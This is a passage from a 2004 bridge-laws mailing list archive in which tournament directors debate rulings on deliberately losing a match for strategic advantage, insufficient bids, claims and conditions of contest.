trying to win on the playing field as has been established seems to me to be very wrong. Walt From walt1@verizon.net Wed May 19 16:04:14 2004 From: walt1@verizon.net (Walt) Date: Wed, 19 May 2004 11:04:14 -0400 Subject: [blml] A newer one In-Reply-To: References: <000001c43d6f$80f52470$6900a8c0@WINXP> Message-ID: <6.1.0.6.0.20040519105956.038b6880@incoming.verizon.net> At 03:54 AM 19/05/2004, Jaap van der Neut wrote: >If you decide to participate in such an event I guess you have to accept >reality. Jaap That is very reasonable and it reminds me that Meckwell decided this year that they would never again participate in a certain tournament because it required them to change their system drastically. I don't remember which tournament it is. Walt From walt1@verizon.net Wed May 19 16:14:20 2004 From: walt1@verizon.net (Walt) Date: Wed, 19 May 2004 11:14:20 -0400 Subject: [blml] A newer one In-Reply-To: References: <000301c43d73$d931a7e0$6900a8c0@WINXP> <40AB1318.9070704@hdw.be> Message-ID: <6.1.0.6.0.20040519110952.038d5eb0@incoming.verizon.net> At 04:24 AM 19/05/2004, Jaap van der Neut wrote: >Bottom line, organisations should not blame the players for their own >(organisation) errors. Along the same line. Who really is to blame in this >Kabul prison. Some poor uninstructed reservists from rural America or the >management of the US Army (in the end Rumsfeld). It seems Rumsfeld gets away >with it and the poor sods get court-martialed (well they also have a >responsability of course). But I tend to see these things differently. Jaap I doubt that this is the one to point the finger at (in spite of the old military and corporate rule: "Authority can be delegated, responsibility remains undiluted") but certainly there are people in the chain of command of the guards who should be held responsible. Walt Maryland, USA From walt1@verizon.net Wed May 19 16:31:27 2004 From: walt1@verizon.net (Walt) Date: Wed, 19 May 2004 11:31:27 -0400 Subject: [blml] A newer one In-Reply-To: <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> References: <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> Message-ID: <6.1.0.6.0.20040519112012.038d3140@incoming.verizon.net> At 08:42 AM 19/05/2004, Eric Landau wrote: >We do have rules that prohibit "dumping", but it's not clear what that means. Eric I always thought this referred to: A contestant who is out of contention and dumps (a board or a round or a match) to help friends who are in contention or to harm people not liked or just for the hell of it (I've never been down more than 1400, let's see how big a negative score I can rack up. On second thought, I guess whether or not the contestant is in contention would be irrelevant although it has always been a contestant out of contention that I have seen discussed. I think this covers everything but the case we have been discussing where the contestant wanted to lose a match to have a better chance to win the event. Walt From john@asimere.com Wed May 19 17:18:51 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 19 May 2004 17:18:51 +0100 Subject: [blml] One trick or two? In-Reply-To: <5SeBo0EYWgqAFwsW@blakjak.demon.co.uk> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A5C@lonsc-s-031.europe.shell.com> <000001c43c04$17954210$6900a8c0@WINXP> <5SeBo0EYWgqAFwsW@blakjak.demon.co.uk> Message-ID: In article <5SeBo0EYWgqAFwsW@blakjak.demon.co.uk>, David Stevenson writes >John (MadDog) Probst wrote >>>>> >>>>> declarer now claims, saying "I can ruff a club to get to dummy" >>>>> >>>>> one trick or two? >>>> >>>>One automatic trick (offending PLAYER did not win the revoke trick or any >>>>subsequent trick with a club; he has stated as part of his claim that he >>>>will ruff the AC!) >>> >>> No, Sven, he has a little club he did not follow to the queen with, so >>>he could cash the CA then ruff that little club. >> >>I think that he pitched the CA, he's said "dummy's high" in effect. > > If he meant "Dummy's high" then he would have said "Dummy's high" in >which case the ruling would be different. Since he did not say "Dummy's >high" we assume his claim is as he did say, namely "I can ruff a club to >get to dummy". ok, I concede. 2 tricks [snipped example] -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Wed May 19 17:38:12 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 19 May 2004 17:38:12 +0100 Subject: [blml] a new one In-Reply-To: <000401c43ce9$4beee350$6900a8c0@WINXP> References: <000401c43ce9$4beee350$6900a8c0@WINXP> Message-ID: In article <000401c43ce9$4beee350$6900a8c0@WINXP>, Sven Pran writes >> David Stevenson >....... >> I am surprised at the reactions to this problem. Different >> authorities run events in different ways, and a spirit of tolerance >> would help. I do not feel it is up to me to criticise Norwegian or >> Swedish running of events because they are different from ours, yet the >> instinctive reaction from Norway and Sweden seems to criticise our >> leagues. I am quite sure that however you run your events problems >> occur. > >I have mentioned the way your league is arranged (as I understand it) to a >few fellow directors. There are two distinct features which astonishes most >of us: > >1: The fact that a missing result can go unnoticed for nearly half a year, >apparently as an undesirable consequence of how the league is arranged. > >2: That you play a serial league with little or no assurance for different >matches in the same "round" to be balanced with respect to the amount of >IMPs offered. > >But this is your game, and it is really none of our business to criticize so >please don't get our comments wrong. Accepted, Sven. We play a lot of bridge in our homes. No bridge club is involved. Most of this bridge is local league stuff, with no higher honour than the winner of the league may get an invitation to play a "league champion's Cup" 36-board round robin in a .... wait for it ... bridge club with a TD, against other local league winners. The league organiser will affiliate the league to the EBU for master point purposes, but many players will never even have heard of the EBU. Most captains will be EBU members however, and will get together with a bunch of social bridge playing friends to enter a team. In London for example we have a business houses league (matches played at 615pm in offices), the London League, (4 divisions, 1 up, 1 down, matches played privately at home), the Hammersmith League (because someone is prepared to organise it, and sends out a half way through the season report to the team captains), the Harrow League etc. All these matches are played privately by negotiation between the captains, and the matches must be completed within about 9 months. All League winners get an invitation to play a round-robin at the Young Chelsea at the end of the League season (about now). Normally about 7 teams turn up and play 6x6 board matches for the Champion's Cup. Great fun. I've directed this and I've even won it once :) > >Regards Sven > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Wed May 19 17:39:53 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 19 May 2004 17:39:53 +0100 Subject: [blml] a new one In-Reply-To: References: <006901c43d6d$c44803c0$7e23b5d4@swipnet.se> Message-ID: In article , David Stevenson writes snip > Very old and fairly poor Irish joke [sorry, Fearghal, Karel, etc, I am >sure you tell English jokes]: > > Car stops by very old Irishman and driver asks him "How would you get >to Sligo?". > > "Well, sorrr, it is like this, see, if I was going to Sligo, see, I >would not start from here." > > A number of questions put to BLML and RGB over the years have been >answered with the equivalent of this. > > Incidentally, I am sure you were all dying to know that we won our >last match 30-0 so are not going to be relegated. presumably you benched yourself and got a bridge player in :) > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Wed May 19 17:46:30 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 19 May 2004 17:46:30 +0100 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: <40AA11C1.7030307@hdw.be> References: <40AA11C1.7030307@hdw.be> Message-ID: In article <40AA11C1.7030307@hdw.be>, Herman De Wael writes >In recent years, we have been taught to take insufficient bidders off >the table in order to ask them why they made the IB. > >Yesterday we discovered that this may not be a good idea after all. > >The setting is the oral examination for TD's (new ones and a few >recyclees) in Belgium. > >I am acting as the culprit, bidding 2He over a 2NT opening. >I am supposed to have seen 1NT, over which 2He shows spades, which is >indeed the hand that I have. >But in true exam style, I have not told this to the other players. > >5 out of 6 candidates take me off the table (as they've been >instructed to do) and correctly rule that the bid is conventional and >cannot be made sufficient without penalty. So they force my partner to >pass. So far, so good. It comes to my turn to lead (against 3NT) and >declarer tries to trick the examinee into awarding lead penalties >against me. They don't fall for that, but when it comes to ruling lead >penalties against my partner, it all becomes a bit hazier. > >In most cases after all, it is not known to the table that my 2He >actually shows spades. So it becomes rather difficult for our >candidates to make the distinction between L26A and L26B. One of them >actually rules 26B. > >In one case, declarer tries to have me reveal what my hand is "I'm >entitled to know what you intended" he says, and the candidate agrees >with me that I should only tell that 2He opening would be Polish, 2He >jump overcall would be weak, 2He cue-bid would be Michael's, 2He over >1NT would be spades, 2He over 2Cl would be natural and 2He over 2Di >Multi would be take out against hearts (which is how I would normally >play all those). > >Also noteworthy is that none of the candidates told me (either at or >off the table) that if I repeat spades, the lead penalties disappear. > >In fact, the only TD that solved the problem almost completely correct >was the one that asked at the table what I thought I was bidding. > >Which is actually what usually happens in real life as well - most >people will rapidly say when they are made aware they just made an >insufficient bid "oh, I thought you had opened 1NT". > >One more thought about applying L26B in stead of L26A: my partner at >the table was also an international TD (Jan Boets). In real life, he >would realize from the ruling (no possibility of simply raising) that >my 2He would have been conventional. He would know which suit to >return in, whereas declarer might not know which suit to forbid. > >Comments? I do take the player away from the table, and when I return I state that I have determined that the 2H bid was an attempt at making a conventional call, which is WHY I'm ruling that opener is now silenced. (I will, away from the table have explained to responder he should pot the final contract as a consequence of the Law). I believe ALL players are entitled to know this much (including opener). I sometimes send opener away and explain what was going on in what passes for Herman's brain, as the NO's are entitled to that. The rest is just book stuff, and i guess most EBU TD's get it right. John -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Wed May 19 17:50:16 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 19 May 2004 17:50:16 +0100 Subject: [blml] A newer one In-Reply-To: References: Message-ID: In article , richard.hills@immi.gov.au writes > > >forward advantage. > >Therefore, Team 1 approached the CTD, and requested >permission to concede its quarter-final match against >Team 6, despite Team 1 leading by 80-odd imps. > >As CTD, how would you rule? I accept the concession, it's none of my business to do otherwise. > >Best wishes > >RJH > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From svenpran@online.no Wed May 19 18:54:59 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 19 May 2004 19:54:59 +0200 Subject: [blml] a newer one In-Reply-To: <003d01c43da7$74756560$7e23b5d4@swipnet.se> Message-ID: <000001c43dca$674ec480$6900a8c0@WINXP> > Hans-Olof Hall=E9n > To Sven. > What about law 74 B 1? Not part of the laws before 1987! Regards Sven From ehaa@starpower.net Wed May 19 19:40:21 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 19 May 2004 14:40:21 -0400 Subject: [blml] A newer one In-Reply-To: <6.1.0.6.0.20040519112012.038d3140@incoming.verizon.net> References: <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> Message-ID: <5.2.0.9.0.20040519143043.00a09c40@pop.starpower.net> At 11:31 AM 5/19/04, Walt wrote: >At 08:42 AM 19/05/2004, Eric Landau wrote: >>We do have rules that prohibit "dumping", but it's not clear what >>that means. > >I always thought this referred to: > A contestant who is out of contention and dumps (a board or a > round or a match) to help friends who are in contention or to harm > people not liked or just for the hell of it (I've never been down > more than 1400, let's see how big a negative score I can rack up. On > second thought, I guess whether or not the contestant is in > contention would be irrelevant although it has always been a > contestant out of contention that I have seen discussed. > >I think this covers everything but the case we have been discussing >where the contestant wanted to lose a match to have a better chance to >win the event. That's the usual case, but I don't think "dumping" depends on one's current standing, nor on one's motivation. I think we can all agree that "playing to lose" is a form of "dumping" (there are others, not relevant here). But playing to lose *what*? The contract? The match? The session? The event? The multi-event series trophy? IMO, playing to lose "the part" in order to increase one's chances of winning "the whole" (whatever those are) should not be considered illegal dumping. Indeed, cannot be, when the conditions are such that you must "play to lose" one or the other. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ereppert@rochester.rr.com Wed May 19 23:16:06 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 19 May 2004 18:16:06 -0400 Subject: [blml] A newer one In-Reply-To: <000001c43d6f$80f52470$6900a8c0@WINXP> Message-ID: <1F529275-A9E2-11D8-BDB2-0030656F6826@rochester.rr.com> On Wednesday, May 19, 2004, at 03:04 US/Eastern, Sven Pran wrote: > He has also shown contempt of the game > which should result in expulsion from that event. Which law prohibits "contempt of the game"? Which law defines it? From ereppert@rochester.rr.com Wed May 19 23:24:09 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 19 May 2004 18:24:09 -0400 Subject: [blml] A newer one In-Reply-To: Message-ID: <3F314080-A9E3-11D8-BDB2-0030656F6826@rochester.rr.com> On Wednesday, May 19, 2004, at 04:24 US/Eastern, Jaap van der Neut wrote: > Bottom line, organisations should not blame the players for their own > (organisation) errors. Along the same line. Who really is to blame in > this > Kabul prison. Some poor uninstructed reservists from rural America or > the > management of the US Army (in the end Rumsfeld). It seems Rumsfeld > gets away > with it and the poor sods get court-martialed (well they also have a > responsability of course). But I tend to see these things differently. BLML is not the place to discuss this, so I will say only one thing: the chain of command is responsible, and should be held accountable. Rumsfeld, however, is not *in* the chain of command - he's staff. As Mr. Truman says "the buck stops here" (he was referring to the Oval Office). From svenpran@online.no Wed May 19 23:40:19 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 20 May 2004 00:40:19 +0200 Subject: [blml] A newer one In-Reply-To: <1F529275-A9E2-11D8-BDB2-0030656F6826@rochester.rr.com> Message-ID: <000201c43df2$439143b0$6900a8c0@WINXP> Ed Reppert > > He has also shown contempt of the game > > which should result in expulsion from that event. > > Which law prohibits "contempt of the game"? Which law defines it? You might for instance take a look at Law 74 for a starter. Next you might just look up the word in any dictionary? I am tempted to repeat saying that I cannot define an elephant but I know him when I see him. Regards Sven From richard.hills@immi.gov.au Wed May 19 23:46:26 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 20 May 2004 08:46:26 +1000 Subject: [blml] A newer one Message-ID: Richard James Hills: [snip] >>>and noted that its likely semi-final opponent had a >>>carry-forward advantage against Team 1. However, if >>>Team 1 lost its quarter-final, then it would play a >>>different team in its semi-final, and against that >>>different team it would be Team 1 with the carry- >>>forward advantage. >>> >>>Therefore, Team 1 approached the CTD, and requested >>>permission to concede its quarter-final match against >>>Team 6, despite Team 1 leading by 80-odd imps. >>> >>>As CTD, how would you rule? David Stevenson: >>It seems logical that such CoC would have regs for >>concessions, so naturally I apply those regs. [snip] Richard James Hills: The CoC did have a reg for concessions. The reg ruled that a team that conceded in one stage would not be able to play in the following stage. That is, if Team 1 conceded its quarter-final match, it would be deemed to be a withdrawal from the semi-final stage, despite automatically qualifying for the semi-final stage if Team 1 lost its quarter-final match without conceding. After the CTD informed Team 1 of this reg, it had no option but to continue playing its quarter-final match. 2004 EBU White Book, clause 72.2: >In England it is not, of itself, improper to attempt to >influence the results of an event, or part of an event, >so as to try to increase one's own success in the >event. If a sponsoring organisation wishes to prevent >such tactics then it should design the competition >accordingly. [snip] >In many competitions outside England, to play badly >would be treated as a gross abuse of the correct >attitude to the game as required by Law 74A2, and >conditions of contest are sometimes explicit on the >matter. > >Examples [snip] >(b) The World Bridge Federation has a regulation that >requires best endeavours on the part of players. The >Conditions of Contest for the World Championships in >2001 said: > >"It is not permissible for a partnership to play by >design to obtain a session score inferior to that of >its opponents". Richard James Hills: Team 1 could not adopt the losing winning strategy of bidding 7NT on every board in the last session of its quarter-final match, because unfortunately the ABF had eschewed the EBU precedent when designing its "dumping" reg, but had instead followed the WBF precedent. So, Team 1 duly had a pyrrhic victory against Team 6, then failed to overcome the carry-forward of its semi- final opponent Team A. But it gets worse. Team A had lost its quarter-final match, but qualified for the semi-finals anyway as the highest ranked losing team (given that Team 1 was prohibited from losing its quarter-final match). In the grand final, Team A lost again. The ABF was sending *two* teams to international events. The winner was sent to play in the Bermuda Bowl, with the runner-up sent to play in the Asia- Pacific Zonal Championship. As the losing grand finalist, Team A represented Australia, even though Team A had lost two "knockout" matches, while Team 1 had lost only one knockout match. This debacle could have been easily averted. The ABF had published the CoC on its website four months before the event. A non-contender (me) and a contender (Ron Klinger) independently wrote to the ABF Newsletter highlighting the flaws of the CoC. The ABF therefore had four months notice to come up with something more sensible, but declined to act. (I believe that the ABF Tournament Unit used the excuse that a similar CoC had been used in a baseball championship with no complaints.) Only when Ron Klinger organised a petition of Open and Women's contestants during the 2003 Australian Trials did the ABF agree to adopt rational conditions for the 2004 Trials. (By the way, Ron Klinger was deservedly successful in yet again qualifying for the Australian Open Team this year.) Best wishes RJH From john@asimere.com Wed May 19 23:50:31 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 19 May 2004 23:50:31 +0100 Subject: [blml] A newer one In-Reply-To: <000201c43df2$439143b0$6900a8c0@WINXP> References: <1F529275-A9E2-11D8-BDB2-0030656F6826@rochester.rr.com> <000201c43df2$439143b0$6900a8c0@WINXP> Message-ID: In article <000201c43df2$439143b0$6900a8c0@WINXP>, Sven Pran writes >Ed Reppert >> > He has also shown contempt of the game >> > which should result in expulsion from that event. >> >> Which law prohibits "contempt of the game"? Which law defines it? > >You might for instance take a look at Law 74 for a starter. Next you might >just look up the word in any dictionary? > >I am tempted to repeat saying that I cannot define an elephant but I know >him when I see him. > >Regards Sven Sven, if the CoC make it better for a team to dump then don't blame the team, blame the SO. Elephants can better be beasts of burden or table napkin holders, depends where you come from. John > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From ereppert@rochester.rr.com Thu May 20 00:14:20 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 19 May 2004 19:14:20 -0400 Subject: [blml] A newer one In-Reply-To: <000201c43df2$439143b0$6900a8c0@WINXP> Message-ID: <4251D028-A9EA-11D8-BDB2-0030656F6826@rochester.rr.com> On Wednesday, May 19, 2004, at 18:40 US/Eastern, Sven Pran wrote: > You might for instance take a look at Law 74 for a starter. Next you > might > just look up the word in any dictionary? > > I am tempted to repeat saying that I cannot define an elephant but I > know > him when I see him. I'm sure you do. :) And certainly Law 74 gives guidance as to things which should be considered improper. Yet nowhere in that law is "contempt of the game" mentioned, or even suggested, that I can see. One might also look at Law 91, which allows disqualification of a contestant "for cause". I suppose you consider "contempt of the game" a valid cause. My problem arises in that, like the seven blind men, I can examine your elephant, but I'm not convinced I'm seeing the same thing you do. From ereppert@rochester.rr.com Thu May 20 00:17:31 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 19 May 2004 19:17:31 -0400 Subject: [blml] A newer one In-Reply-To: Message-ID: On Wednesday, May 19, 2004, at 18:46 US/Eastern, richard.hills@immi.gov.au wrote: > (I believe that the ABF Tournament Unit used the excuse that a > similar CoC had > been used in a baseball championship with no complaints.) Seems a rather specious excuse, to me. From richard.hills@immi.gov.au Thu May 20 00:57:48 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 20 May 2004 09:57:48 +1000 Subject: [blml] A newer one Message-ID: Richard James Hills: >>(I believe that the ABF Tournament Unit used the >>excuse that a similar CoC had been used in a >>baseball championship with no complaints.) Ed Reppert: >Seems a rather specious excuse, to me. Richard James Hills: No, I agree with the ABF Tournament Unit that we can learn from the CoC of another sport. For example, two soccer teams were contesting a game, and only one of them could proceed to the next stage. Towards the end of normal time, Team A was leading Team B by 2-1. Unfortunately, Team A could qualify only if it either beat Team B by 3-1 in normal time, or if the scores were tied 2-2 after normal time, and Team A then scored a "golden goal" in extra time. Even more unfortunately for Team A, Team B worked out the mathematics quicker than Team A, so before Team A could "dump" a goal into its own net, Team B had half its players guarding Team A's net, and the other half of Team B's players were guarding their own net. Team A frantically spent the remainder of normal time trying to kick a goal into either net, but the stout defence of both halves of Team B prevailed. :-) Best wishes RJH From blml@blakjak.com Thu May 20 01:44:11 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 20 May 2004 01:44:11 +0100 Subject: [blml] a new one In-Reply-To: References: <006901c43d6d$c44803c0$7e23b5d4@swipnet.se> Message-ID: John (MadDog) Probst wrote >In article , David Stevenson > writes > >snip >> Very old and fairly poor Irish joke [sorry, Fearghal, Karel, etc, I am >>sure you tell English jokes]: >> >> Car stops by very old Irishman and driver asks him "How would you get >>to Sligo?". >> >> "Well, sorrr, it is like this, see, if I was going to Sligo, see, I >>would not start from here." >> >> A number of questions put to BLML and RGB over the years have been >>answered with the equivalent of this. >> >> Incidentally, I am sure you were all dying to know that we won our >>last match 30-0 so are not going to be relegated. > >presumably you benched yourself and got a bridge player in :) Decisions in our team are made by a certain well-known female international with very long fingernails. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu May 20 01:50:54 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 20 May 2004 01:50:54 +0100 Subject: [blml] A newer one In-Reply-To: <+VlwZGW19zqAFw9+@blakjak.demon.co.uk> References: <+VlwZGW19zqAFw9+@blakjak.demon.co.uk> Message-ID: <2UiipfduDArAFwEE@blakjak.demon.co.uk> David Stevenson wrote > It seems logical that such CoC would have regs for concessions, so >naturally I apply those regs. > > No? Well, I have never been involved as a player or TD in a >"knockout" teams event where concessions were barred so I suppose I >allow it under "custom+practice". > > The point it that it is not up to me as CTD to worry about the >effects of my decision, just its legality. It is not in the Law book: >it should be in the CoC: if not "custom+practice" is next. Someone has suggested to me behind the scenes that i have omitted SO reg. This seems to me to be a question of semantics, though notionally correct. There are two sorts of regs really: over-riding ones for the SO, and ones for an individual tourney. Yes, I do know there are borderline cases, but let us accept those for simplicity. Now, the ones for the individual tourney are called Conditions of Contest: what do you call the over-riding ones? Are they Conditions of Contest as well? At WBF level I believe you have 'Special' regs and 'General' regs: would you call both Conditions of Contest? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu May 20 01:53:17 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 20 May 2004 01:53:17 +0100 Subject: [blml] A newer one In-Reply-To: <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> References: <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> Message-ID: <4kGhl+d9FArAFwHA@blakjak.demon.co.uk> Eric Landau wrote >We do have rules that prohibit "dumping", but it's not clear what that >means. IMO, "dumping" means intentionally attempting to lose whatever >it is that one is presumed to be trying to win. This team wants to >concede in an honest and genuine attempt to win the event, and is quite >correct in believing that conceding the match will increase their >chances of doing so. I have no problem finding that their concession >does not constitute dumping. Note that the "We" referred ot here is the ACBL, or perhaps the WBF, or someone. The point is that anti-dumping rules are not world-wide. For example, dumping is legal in England and Wales. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Thu May 20 02:55:43 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 20 May 2004 11:55:43 +1000 Subject: [blml] Taking Insufficient bidders off the table Message-ID: David Stevenson suggested: [snip] >how much better this Law would be if it was changed >to allowing correction to the lowest sufficient bid >in the same denomination. [snip] Richard James Hills over-suggests: Even better would be a 2006 Law which permitted an insufficient bidder to correct their (non-condoned) insufficient bid to *any* legal call, with the only penalty being that the insufficient bid would be UI to the insufficient bidder's partner. This would make life easier for those LOLs prone to insufficient bids, and life harder for the Secretary Bird experts who exploit the mechanical errors of LOLs. It would also save considerable time for overworked TDs, which could be better used by TDs for prompter calculations of the results of the event. Best wishes RJH From richard.hills@immi.gov.au Thu May 20 03:09:04 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 20 May 2004 12:09:04 +1000 Subject: [blml] The Masochism Tango Message-ID: Robert E. Harris: >So is the moral of the story that a defender >holding the trump ace against a grand slam >should claim at trick one? > >REH Richard James Hills: Absolutely. As a beginner, I reached 6NT with 13 top tricks. Since this was the first cold slam I had ever bid, I decided to maximise my fun by playing out the hand, trick by trick. Alas, I committed a meaningless revoke, and the two-trick penalty resulted in -50. I now avoid my known tendency to revoke when holding 13 top tricks, by always claiming cold grand slams at trick one. Of course, my claiming of cold grand slams at trick one, when I am known to have a 100% revoke rate with 13 top tricks, is a clear infraction of Law 72A2, as I accept the concession of at least one trick that the opponents could not lose. :-) Best wishes RJH From richard.hills@immi.gov.au Thu May 20 05:28:57 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 20 May 2004 14:28:57 +1000 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: Eric Landau: [snip] >IMO, playing to lose "the part" in order to >increase one's chances of winning "the whole" >(whatever those are) should not be considered >illegal dumping. Indeed, cannot be, when the >conditions are such that you must "play to >lose" one or the other. Richard James Hills: Yes and no. This Eric Landau/Edgar Kaplan/EBU view has some validity when discussing a winner-take-all event, such as the Bermuda Bowl. But this view runs into difficulties when considering the possible outcomes of a typical matchpoint pairs Mitchell movement session (without an arrow- switch), which has *two* winning pairs, both North-South and East-West. For example -> 1. An astute professional was commencing a matchpoint pairs session with a beginner client. 2. The beginner client admitted that they were petrified with nervousness, fearing that they would make too many mistakes. The beginner client was also petrified about their petrification, since the beginner client knew that they made more mistakes than usual when petrified. 3. On the very first board, the astute pro perpetrated a non-logical alternative of a ridiculous vulnerable overcall. 4. The astute pro moaned, "Oh no, what have I done?" 5. Prompted by the astute pro's moaning, the opponents doubled. 6. The astute pro accidentally dropped a trick in the play, turning a sure -800 bottom into a more spectacular -1100 bottom. 7. After the board, the astute pro apologised to the petrified beginner client, "Sorry pard. After that sure bottom, we have no chance of winning the session now." 8. With the pressure off, the beginner client was relaxed for the remainder of the session, played to the best of their ability, and so committed only routine idiocies. As a result, the astute pro was able to carry their beginner client to a North-South victory. 9. Meanwhile, the astute pro's first round opponents gained an unexpected East-West victory by one matchpoint, due to their first board top. As TD, how would you rule? Best wishes RJH From gordon@gordonrainsford.co.uk Thu May 20 11:13:12 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Thu, 20 May 2004 11:13:12 +0100 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: References: Message-ID: <4CD265C6-AA46-11D8-9AF4-0003936A6522@gordonrainsford.co.uk> On 20 May 2004, at 02:55, richard.hills@immi.gov.au wrote: > Even better would be a 2006 Law which permitted an > insufficient bidder to correct their (non-condoned) > insufficient bid to *any* legal call, with the only > penalty being that the insufficient bid would be UI > to the insufficient bidder's partner. > > This would make life easier for those LOLs prone to > insufficient bids, and life harder for the Secretary > Bird experts who exploit the mechanical errors of > LOLs. > > It would also save considerable time for overworked > TDs, which could be better used by TDs for prompter > calculations of the results of the event. More judgment cases about UI issues = less work than simple application of book ruling? -- Gordon Rainsford London UK From ehaa@starpower.net Thu May 20 13:37:29 2004 From: ehaa@starpower.net (Eric Landau) Date: Thu, 20 May 2004 08:37:29 -0400 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: Message-ID: <5.2.0.9.0.20040520082728.021525e0@pop.starpower.net> At 12:28 AM 5/20/04, richard.hills wrote: >1. An astute professional was commencing a >matchpoint pairs session with a beginner client. > >2. The beginner client admitted that they were >petrified with nervousness, fearing that they >would make too many mistakes. The beginner >client was also petrified about their >petrification, since the beginner client knew >that they made more mistakes than usual when >petrified. > >3. On the very first board, the astute pro >perpetrated a non-logical alternative of a >ridiculous vulnerable overcall. > >4. The astute pro moaned, "Oh no, what have I >done?" > >5. Prompted by the astute pro's moaning, the >opponents doubled. > >6. The astute pro accidentally dropped a trick >in the play, turning a sure -800 bottom into a >more spectacular -1100 bottom. > >7. After the board, the astute pro apologised >to the petrified beginner client, "Sorry pard. >After that sure bottom, we have no chance of >winning the session now." > >8. With the pressure off, the beginner client >was relaxed for the remainder of the session, >played to the best of their ability, and so >committed only routine idiocies. As a result, >the astute pro was able to carry their beginner >client to a North-South victory. > >9. Meanwhile, the astute pro's first round >opponents gained an unexpected East-West >victory by one matchpoint, due to their first >board top. > >As TD, how would you rule? As TD, why would I rule? He has broken no law(*). I am assuming he has not broken any condition of contest of which I am unaware. I would congratulate him on his astuteness and offer to buy him a beer. (*) Not quite true. He did commit a minor violation of L74B2, but a disciplinary penalty, when his comment was neither misleading nor damaging to his opponents, would be totally unprecedented. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From grandeval@vejez.fsnet.co.uk Thu May 20 12:58:23 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 20 May 2004 12:58:23 +0100 Subject: [blml] A newer one References: <001301c43d46$85c14f20$6900a8c0@WINXP> <7FyxtfWo+zqAFwcW@blakjak.demon.co.uk> Message-ID: <001f01c43e6c$e2dc6060$50cc87d9@4nrw70j> Grattan Endicott To: Sent: Wednesday, May 19, 2004 12:06 PM Subject: Re: [blml] A newer one > You enter an event to win. Why is it beneath contempt > to try and win by following the rules? > +=+ This is somewhat circular. The argument is sound, but begs the question of what the rules are and/or should be. ~ G ~ +=+ From grandeval@vejez.fsnet.co.uk Thu May 20 14:16:32 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 20 